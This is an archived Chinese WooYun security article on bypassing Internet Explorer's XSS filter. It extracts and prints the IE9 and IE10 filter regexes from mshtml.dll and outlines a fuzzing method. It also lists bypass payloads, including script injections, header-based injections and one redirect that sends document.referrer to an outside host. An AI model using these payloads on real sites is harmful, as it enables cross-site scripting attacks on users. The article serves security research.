
        <html>
			<head>
			     <title>Bypass IE XSS Filter - livers</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/159">http://drops.wooyun.org/tips/159</a></h1>
				
      <p>
        <h3>0x00 背景</h3>

<hr />

<p>从IE8 beta2 开始，微软加入了xss Filter。如同大部分安全产品一样，防护的对策就是利用规则去过滤攻击代码，基于可用和效率的考虑，同时加入黑白名单策略（即同源策略）。</p>

<p>经过几代的更新和大量hack爱好者的测试（微软喜欢招揽一些帮助寻找漏洞的人才），到IE9已经有了比较好的提升。下面主要针对IE9和IE10.</p>

<h3>0x01 找根源</h3>

<!--more-->

<hr />

<p>IE xss filter工作原理</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452690579.png" alt="20130702203010_17247.png" /></p>

<p>其流程</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452784488.png" alt="20130702203042_19772.png" /></p>

<p>这里有很多环节可以bypass 例如验证同源80sec发现的问题。</p>

<p><a href="http://www.80sec.com/ie8-security-alert.html">http://www.80sec.com/ie8-security-alert.html</a></p>

<p>先针对xss filter 的绕过进行展开。</p>

<p>不乏很多人的人品好，随意组合便可bypass。以下针对像我这种人品一般的人，真正能游刃有余，就需要知道IE的xss Filter 的正则。</p>

<h3>0x02 提取正则</h3>

<hr />

<p>这里提供几种方法寻找IE xss Filter的正则。（Ie 的xss filter regx 存在于系统内核 mshtml.dll模块中）。</p>

<p>查找很简单 可以使用notepad++ textfx 16进制查看。（搜索‘sc{’）</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452774284.png" alt="20130702203129_11721.png" /></p>

<p>或者使用 winhex(作者喜欢的工具) （搜索‘sc{’）</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452730843.png" alt="20130702203156_31657.png" /></p>

<p>不过这里强烈建议大家熟悉下IDApro(原因：后面你研究webkit 或者andriod等其他应用时，IDApro是非常好用的利器)</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452820075.png" alt="20130702203236_24352.png" /></p>

<p>这里给出一个老外blog 的一条 console 命令 非常实用。</p>

<pre><code>findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll|find "{" 
</code></pre>

<p>这里得到 IE9  2013\2的xssfilter regx</p>

<pre><code>{(v|(&amp;[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(b|(&amp;[#()\[\].]x?0*((66)|(42)|(98)|(62));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&amp;[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&amp;[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&amp;[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&amp;[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&amp;[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&amp;[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&amp;[#()\[\].]x?0*((58)|(3A));?)).}
{(j|(&amp;[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&amp;[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(v|(&amp;[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&amp;[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&amp;[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&amp;[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&amp;[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&amp;[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&amp;[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&amp;[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&amp;[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&amp;[#()\[\].]x?0*((58)|(3A));?)).}
{&lt;st{y}le.*?&gt;.*?((@[i\\])|(([:=]|(&amp;[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&amp;[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&amp;[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&amp;[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))}
{&lt;OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{&lt;AP{P}LET[ /+\t].*?code[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{&lt;BA{S}E[ /+\t].*?href[ /+\t]*=}
{&lt;LI{N}K[ /+\t].*?href[ /+\t]*=}
{&lt;ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{&lt;[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{&lt;EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{&lt;.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{&lt;[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{&lt;is{i}ndex[ /+\t&gt;]}
{&lt;fo{r}m.*?&gt;}
{&lt;sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{&lt;sc{r}ipt.*?&gt;}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006C))(o|(\\u006F))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006F))(n|(\\u006E)))|((n|(\\u006E))(a|(\\u0061))({m}|(\\u00{6}D))(e|(\\u0065)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}
</code></pre>

<p>IE10 2013\5 的regx</p>

<pre><code>{&lt;sc{r}ipt.*?&gt;}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006[Cc]))(o|(\\u006[Ff]))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006[Ff]))(n|(\\u006[Ee])))|((n|(\\u006[Ee]))(a|(\\u0061))({m}|(\\u00{6}[Dd]))(e|(\\u0065)))|((o|(\\u006[Ff]))(n|(\\u006[Ee]))({e}|(\\u00{6}5))(r|(\\u0072))(r|(\\u0072))(o|(\\u006[Ff]))(r|(\\u0072)))|((v|(\\u0076))(a|(\\u0061))({l}|(\\u00{6}[Cc]))(u|(\\u0075))(e|(\\u0065))(O|(\\u004[Ff]))(f|(\\u0066)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}
{[\"\'].*?[{,].*(((v|(\\u0076)|(\\166)|(\\x76))[^a-z0-9]*({a}|(\\u00{6}1)|(\\1{4}1)|(\\x{6}1))[^a-z0-9]*(l|(\\u006C)|(\\154)|(\\x6C))[^a-z0-9]*(u|(\\u0075)|(\\165)|(\\x75))[^a-z0-9]*(e|(\\u0065)|(\\145)|(\\x65))[^a-z0-9]*(O|(\\u004F)|(\\117)|(\\x4F))[^a-z0-9]*(f|(\\u0066)|(\\146)|(\\x66)))|((t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*({o}|(\\u00{6}F)|(\\1{5}7)|(\\x{6}F))[^a-z0-9]*(S|(\\u0053)|(\\123)|(\\x53))[^a-z0-9]*(t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*(r|(\\u0072)|(\\162)|(\\x72))[^a-z0-9]*(i|(\\u0069)|(\\151)|(\\x69))[^a-z0-9]*(n|(\\u006E)|(\\156)|(\\x6E))[^a-z0-9]*(g|(\\u0067)|(\\147)|(\\x67)))).*?:}
{&lt;AP{P}LET[ /+\t&gt;]}
{&lt;OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{&lt;BA{S}E[ /+\t].*?href[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{&lt;LI{N}K[ /+\t].*?href[ /+\t]*=}
{&lt;[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{&lt;ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{&lt;EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{&lt;.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{&lt;is{i}ndex[ /+\t&gt;]}
{&lt;[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{&lt;sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{&lt;fo{r}m.*?&gt;}
{(v|(&amp;#x?0*((86)|(56)|(118)|(76));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b|(&amp;#x?0*((66)|(42)|(98)|(62));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&amp;#x?0*((83)|(53)|(115)|(73));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&amp;#x?0*((67)|(43)|(99)|(63));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&amp;#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&amp;#x?0*((73)|(49)|(105)|(69));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&amp;#x?0*((80)|(50)|(112)|(70));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&amp;#x?0*((84)|(54)|(116)|(74));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&amp;((#x?0*((58)|(3A));?)|(colon;)))).}
{(j|(&amp;#x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&amp;#x?0*((65)|(41)|(97)|(61));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&amp;#x?0*((86)|(56)|(118)|(76));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&amp;#x?0*((65)|(41)|(97)|(61));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&amp;#x?0*((83)|(53)|(115)|(73));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&amp;#x?0*((67)|(43)|(99)|(63));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&amp;#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&amp;#x?0*((73)|(49)|(105)|(69));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&amp;#x?0*((80)|(50)|(112)|(70));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&amp;#x?0*((84)|(54)|(116)|(74));?))([\t]|(&amp;((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&amp;((#x?0*((58)|(3A));?)|(colon;)))).}
{&lt;st{y}le.*?&gt;.*?((@[i\\])|(([:=]|(&amp;#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&amp;#x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&amp;#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&amp;#x?0*((40)|(28)|(92)|(5C));?))}
</code></pre>

<p>观察下IE9到IE10的变化 ，可以看出IE10比IE9又更新了不少正则。</p>

<p>可见IE正则是ATL系列。Webkit 用JSCRE（基于pcre）。Chrome 早期也用jscre，09年以后采用Irregexp。</p>

<p>通过正则可以测试出一些bypass.</p>

<p>以IE9 为例：</p>

<pre><code>Regx1= \[\"\'\]\[ \]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?= 
(老正则) 

Bypass : "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// location("http://xss.me/");   
</code></pre>

<p>又比如IE的复参绕过：</p>

<pre><code>param1=&lt;script&gt;prompt(9);/*&amp;param2=*/&lt;/script&gt; 
</code></pre>

<p>最近绕过account.google.com的32位编码绕过，地址：<a href="http://zone.wooyun.org/content/4448">http://zone.wooyun.org/content/4448</a>。</p>

<p>有意思的是：感觉上 日本人喜欢用unicode 的编码 上次见过有用 ᴮᴵᴳᴮᴵᴿᴰ （\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30）重置BIGBIRD 用户密码的。</p>

<p>美国人喜欢用类似这种变形</p>

<pre><code>&lt;script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"&gt;&lt;/script&gt;
</code></pre>

<p>老毛子喜欢用各种特殊字符（以上个人见解）。    </p>

<h3>0x03 进行Fuzz</h3>

<hr />

<p>简单的浏览观察，并不能高效的进行bypass.</p>

<p>转化为脚本</p>

<p>这里当我把python改完，突然意识到python的正则是pcre的！还好webkit的filter是基于pcre的（下次内容写webkit）。</p>

<p>微软向来用自己家东西，用C++写了个fuzz 程序进行fuzz测试。 </p>

<p>用法。IEfilter.txt 是IE的正则。Bypasstest.txt是绕过语句，result和console界面程序会保存输出结果。</p>

<p><img src="http://static.wooyun.org/20140918/2014091810452879897.png" alt="20130702203334_32890.png" /></p>

<p>downloadlink:<a href="http://pan.baidu.com/share/link?shareid=1243023532&amp;uk=1259968226">http://pan.baidu.com/share/link?shareid=1243023532&amp;uk=1259968226</a></p>

<p>Bypastest 内容可以自己生成。如果以前玩过spike的同学可以直接借用之前的payload和方法.</p>

<p>这里提供以下生成payload思路：</p>

<pre><code>1.特殊字符 [0x09,0x0A-0x0D,0x20,0xA0] 
2.不同编码 xc2xb4xe2x80x99xe2x80 甚至畸形编码ф1й2у3ц4 
3.生僻函数 
4.边界变量 
</code></pre>

<p>剩下的大家自己动手研究。</p>

<h3>0x04 一些分享</h3>

<hr />

<p>欢迎和我沟通或者写文章（升，升，升！）</p>

<p>来自国外的一些tip.（多关注国外技术blog 或者论坛）</p>

<pre><code>Tip1: var url = "htpp://xss.cx/default.aspx?xss="+encodeURIComponent(document.referrer)"; if (window!=top) {top.location.href = url;} else document.location= url; 
Tip2: &lt;script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"&gt;&lt;/script&gt; 
Tip3: &lt;body/onload="@set @evil=1; @if(@evil)eval(confirm(@evil))@end;"&gt; 
Tip4: "&gt;&lt;script&gt;alert(document.location)&lt;/script&gt; (webkit) 
Tip5: "-prompt(document.location)-" (webkit) 
Tip6: Referer: http://www.google.com/search?hl=en&amp;q=xss"&gt;&lt;script&gt;prompt(9)&lt;/script&gt; (webkit) 
Tip7: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)xss"&gt;&lt;script&gt;prompt(9)&lt;/script&gt; (webkit)   短短研究过这个。
</code></pre>

<p>参考：</p>

<p><a href="http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx">http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx</a> <a href="http://www.80sec.com">http://www.80sec.com</a></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           